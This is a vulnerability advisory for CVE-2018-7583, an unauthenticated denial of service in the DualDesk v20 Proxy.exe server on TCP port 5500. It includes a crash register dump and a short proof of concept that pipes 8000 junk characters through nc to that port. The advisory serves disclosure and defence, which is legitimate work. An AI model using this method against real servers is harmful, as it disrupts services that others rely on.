DualDesk 20 Denial Of Service

`[+] Credits: John Page (aka hyp3rlinx)   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/DUALDESK-v20-DENIAL-OF-SERVICE.txt  
[+] ISR: Apparition Security   
  
  
Vendor:  
===============  
www.dualdesk.com  
  
  
  
Product:  
===========  
DualDesk v20  
  
DualDesk is powerful, easy to use remote support software that is a one-time purchase and lets your  
technical support staff remote assist a PC anywhere on the internet through firewalls in seconds with no  
configuration.   
  
  
  
Vulnerability Type:  
===================  
Denial Of Service  
  
  
  
CVE Reference:  
==============  
CVE-2018-7583  
  
  
Security Issue:  
================  
Remote unauthenticated attackers can crash the "Proxy.exe" Server component of Dualdesk application   
which listens on TCP Port 5500 by sending a long string of junk chars.  
  
(d24.d60): Security check failure or stack buffer overrun - code c0000409 (first/second chance not available)  
eax=00000000 ebx=0257f1c0 ecx=00000000 edx=00000000 esi=00000002 edi=00000000  
eip=77c6016d esp=0257f170 ebp=0257f20c iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246  
ntdll!NtWaitForMultipleObjects+0x15:  
77c6016d 83c404 add esp,4  
  
  
Exploit/POC:  
=============  
Start the Dualdesk Run Proxy as Application.  
  
C:\>python -c "print 'a'*8000" > crash.txt  
  
C:\>type crash.txt | nc.exe localhost 5500  
  
Crash!!!  
  
  
Network Access:  
===============  
Remote  
  
  
  
Severity:  
=========  
Medium  
  
  
  
Disclosure Timeline:  
=============================  
Vendor Notification: February 4, 2018  
Second attempt : February 17, 2018  
Request CVE, assigned by Mitre : March 1, 2018  
March 1, 2018 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`